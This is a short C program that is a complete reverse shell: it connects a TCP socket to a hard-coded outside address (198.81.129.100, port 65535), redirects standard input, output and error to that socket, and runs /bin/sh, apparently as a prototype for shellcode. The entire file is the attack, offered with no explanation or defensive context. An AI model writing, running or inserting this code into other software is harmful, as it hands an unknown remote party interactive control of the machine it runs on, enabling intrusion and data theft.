#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock;

struct sockaddr_in serv_addr;

int
main()
{
	serv_addr.sin_family=2;
	serv_addr.sin_addr.s_addr=0x648151c6; // 198.81.129.100
	serv_addr.sin_port=0xFFFF; // 65535

	sock=socket(2,1,6);
	connect(sock, (struct sockaddr *)&serv_addr,0x10);

	dup2(sock,0);
	dup2(sock,1);
	dup2(sock,2);

	execve("/bin/sh",0,0);
}
